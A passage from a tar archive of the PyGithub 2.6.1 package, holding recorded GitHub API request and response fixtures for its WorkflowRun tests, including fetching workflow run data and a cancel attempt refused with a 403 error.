rue,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1583,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":189,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1583,"open_issues":189,"watchers":5733,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1583,"subscribers_count":114} https GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '19'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC5:3941:15CB7:1ADA3:63C15A7D')] {"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_cancel.txt0000644000175100001660000003477614756101563023522 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3911660493 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"74bbb9a446cbc1fccb303d24a4c6f004ba916928fc1d581f90d7ae57b73b5345"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '34'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBB6:3941:15C6C:1AD40:63C15A77')] {"id":3911660493,"name":"CI","node_id":"WFR_kwLOADYVqs7pJzPN","head_branch":"feat/workflow-run","head_sha":"f8de1574818fccb40aa2a4d89a5c423a44753258","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":934,"event":"pull_request","status":"in_progress","conclusion":null,"workflow_id":1903133,"check_suite_id":10354960977,"check_suite_node_id":"CS_kwDOADYVqs8AAAACaTQqUQ","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3911660493","pull_requests":[],"created_at":"2023-01-13T13:19:24Z","updated_at":"2023-01-13T13:19:37Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-13T13:19:24Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10354960977","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"f8de1574818fccb40aa2a4d89a5c423a44753258","tree_id":"b5c93d407638a09461028a6f0b6e58fa38c5fc15","message":"trigger CI","timestamp":"2023-01-13T13:16:03Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https POST api.github.com None /repos/PyGithub/PyGithub/actions/runs/3911660493/cancel {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '33'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBB7:0299:F916:149FE:63C15A78')] {"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#cancel-a-workflow-run"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_delete.txt0000644000175100001660000003502214756101563023520 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '30'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '30'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, 